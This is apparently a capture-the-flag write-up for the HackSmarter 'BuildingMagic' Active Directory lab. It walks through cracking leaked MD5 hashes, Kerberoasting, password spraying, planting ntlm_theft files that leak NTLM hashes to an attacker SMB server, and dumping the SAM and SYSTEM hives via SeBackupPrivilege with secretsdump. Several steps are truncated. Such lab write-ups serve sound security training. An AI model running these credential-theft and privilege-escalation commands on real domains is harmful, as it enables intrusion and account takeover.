BuildingMagic is an Easy machine from HackSmarter that starts off with cracking hashes from a leaked database file, then using the newfound credentials to abuse misconfigurations in ActiveDirectory. After some Kerberoasting, a ForceChangePassword, and using the ntlm_theft tool, you’ll end up abusing SeBackupPrivilege for root.
Objective & Scope
Objective: As a penetration tester on the Hack Smarter Red Team, your objective is to achieve a full compromise of the Active Directory environment.
Initial Access: A prior enumeration phase has yielded a leaked database containing user credentials (usernames and hashed passwords). This information will serve as your starting point for gaining initial access to the network.
Execution: Your task is to leverage the compromised credentials to escalate privileges, move laterally through the Active Directory, and ultimately achieve a complete compromise of the domain.
root@kali:~/hacksmarter/BuildingMagic/enumeration ➜ nmap -sCV -p 3389,53,135,445,389,636,88,445 -vvvvv 10.1.116.112 --open Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-28 19:16 EST Nmap scan report for 10.1.116.112 Host is up, received echo-reply ttl 126 (0.079s latency). Scanned at 2025-11-28 19:16:27 EST for 53s
PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 126 Simple DNS Plus 88/tcp open kerberos-sec syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2025-11-29 00:17:40Z) 135/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 389/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: BUILDINGMAGIC.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? syn-ack ttl 126 636/tcp open tcpwrapped syn-ack ttl 126 3389/tcp open ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services |_ssl-date: 2025-11-29T00:18:25+00:00; +1m07s from scanner time. | ssl-cert: Subject: commonName=DC01.BUILDINGMAGIC.LOCAL | Issuer: commonName=DC01.BUILDINGMAGIC.LOCAL | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-02T21:29:10 | Not valid after: 2026-03-04T21:29:10 | MD5: cb18:d563:ae1d:22d2:bd56:6b1c:ba62:94b1 | SHA-1: 4589:0eef:a106:c58c:d5a7:8fcc:0f87:1da5:1d84:6e69 | -----BEGIN CERTIFICATE----- | MIIC9DCCAdygAwIBAgIQ<snip>pIyjfR5Tg/BHdg== |_-----END CERTIFICATE----- | rdp-ntlm-info: | Target_Name: BUILDINGMAGIC | NetBIOS_Domain_Name: BUILDINGMAGIC | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: BUILDINGMAGIC.LOCAL | DNS_Computer_Name: DC01.BUILDINGMAGIC.LOCAL | Product_Version: 10.0.20348 |_ System_Time: 2025-11-29T00:17:45+00:00 Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 19:17 Completed NSE at 19:17, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 19:17 Completed NSE at 19:17, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 19:17 Completed NSE at 19:17, 0.00s elapsed Read data files from: /usr/share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 52.62 seconds Raw packets sent: 11 (460B) | Rcvd: 8 (336B)
This is a Domain Controller (DC) with the FQDN of: dc01.buildingmagic.local so I’ll add that entry to my /etc/hosts file.
Recon
Leaked Database File
In the machine information there is a leaked database file:
1 2 3 4 5 6 7 8 9 10 11
id username full_name role password 1 r.widdleton Ron Widdleton Intern Builder c4a21c4d438819d73d24851e7966229c 2 n.bottomsworth Neville Bottomsworth Plannner 61ee643c5043eadbcdc6c9d1e3ebd298 3 l.layman Luna Layman Planner 8960516f904051176cc5ef67869de88f 4 c.smith Chen Smith Builder bbd151e24516a48790b2cd5845e7f148 5 d.thomas Dean Thomas Builder 4d14ff3e264f6a9891aa6cea1cfa17cb 6 s.winnigan Samuel Winnigan HR Manager 078576a0569f4e0b758aedf650cb6d9a 7 p.jackson Parvati Jackson Shift Lead eada74b2fa7f5e142ac412d767831b54 8 b.builder Bob Builder Electrician dd4137bab3b52b55f99f18b7cd595448 9 t.ren Theodore Ren Safety Officer bfaf794a81438488e57ee3954c27cd75 10 e.macmillan Ernest Macmillan Surveyor 47d23284395f618bea1959e710bc68ef
This leak includes 10 MD5 hashes for several employees of the target company. You can dump that info into a file and run it through this command to extract the MD5 hashes only:
1
grep -Eo '\b[a-f0-9]{32}\b' filename
I’ll take these hashes and load them into CrackStation to see if any of them will crack:
Two passwords cracked, I’ll save the users to a file and spray the leaked passwords with kerbrute. You can make a user wordlist with this command: grep -Eo '\b[a-z]\.[a-z]+'.
[-] CCache file is not found. Skipping... $krb5tgs$23$*r.haggard$BUILDINGMAGIC.LOCAL$buildingmagic.local/r.haggard*$ec2e2b90e380193285d87d113d2125f6$2c9512dd2e845ead731d8e99e3cbffcf5e47ce89534a768c752e6354483c4cbdded823c153ad357d989b6d400dea86e641cd67f61b2cafc5bf7b74b15fb03e908ae08ce2afc9383a461cbbfb5b414391<snip>a96470bde330c34
I’ll crack this hash using hashcat:
1 2 3 4 5 6 7
root@kali:~/hacksmarter/BuildingMagic/enumeration ➜ hashcat -a 0 r.haggard.hash /usr/share/wordlists/rockyou.txt --show Hash-mode was not specified with -m. Attempting to auto-detect hash mode. The following mode was auto-detected as the only one matching your input hash:
I’ll connect to the share using impacket-smbclient:
1 2 3 4 5 6 7 8
root@kali:~/hacksmarter/BuildingMagic/enumeration ➜ impacket-smbclient buildingmagic.local/h.potch:Password123@dc01.buildingmagic.local Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands # use File-Share # ls drw-rw-rw- 0 Fri Nov 28 19:40:58 2025 . drw-rw-rw- 0 Tue Sep 2 15:37:28 2025 ..
The share is empty, the only interesting thing here is that I have Write, so I can drop files in here. One thing I usually try to do in these scenarios is generate files that have UNC paths that point to my fake SMB Server using the tool ntlm_theft:
root@kali:~/hacksmarter/BuildingMagic/enumeration ➜ hashcat -a 0 h.grangon.hash /usr/share/wordlists/rockyou.txt --show Hash-mode was not specified with -m. Attempting to auto-detect hash mode. The following mode was auto-detected as the only one matching your input hash:
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeBackupPrivilege Back up files and directories Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
This privilege is intended to allow the user to Back up files and directories. But as an attacker you can use it to backup the SAM & SYSTEM hives, which contain all of the NTLM hashes across the domain:
*Evil-WinRM* PS C:\Users\h.grangon\Desktop> cd goodies *Evil-WinRM* PS C:\Users\h.grangon\Desktop\goodies> reg save hklm\sam C:\Users\h.grangon\Desktop\goodies\sam The operation completed successfully.
*Evil-WinRM* PS C:\Users\h.grangon\Desktop\goodies> reg save hklm\system C:\Users\h.grangon\Desktop\goodies\system The operation completed successfully.
Now I can download these files using the download command in evil-winrm:
1 2 3 4 5 6 7 8 9 10
*Evil-WinRM* PS C:\Users\h.grangon\Desktop\goodies> download sam
Info: Downloading C:\Users\h.grangon\Desktop\goodies\sam to sam
Info: Download successful! *Evil-WinRM* PS C:\Users\h.grangon\Desktop\goodies> download system
Info: Downloading C:\Users\h.grangon\Desktop\goodies\system to system
Info: Download successful!
And using the tool impacket-secretsdump, I can locally parse these files to extract the Administrator’s NT hash:
1 2 3 4 5 6 7 8 9
root@kali:~/hacksmarter/BuildingMagic/enumeration ➜ impacket-secretsdump -sam sam -system system local Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xf61a94fb13f74350a1f87f509c8c455c [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:520126a03f5d5a8d836f1c4f34ede7ce::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Cleaning up...
But the Administrator’s hash doesn’t work directly. So I’ll get a new full users list and spray the hash:
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\a.flatch\Documents> cd ..\..\Administrator\Desktop *Evil-WinRM* PS C:\Users\Administrator\Desktop> ls
This was a great machine and I liked the leaked database file part. I was a bit stuck at the end because I was going off of the users list obtained from the leaked database file, and I had forgot to dump a new one with every AD user. I’d give this machine a solid 8/10.
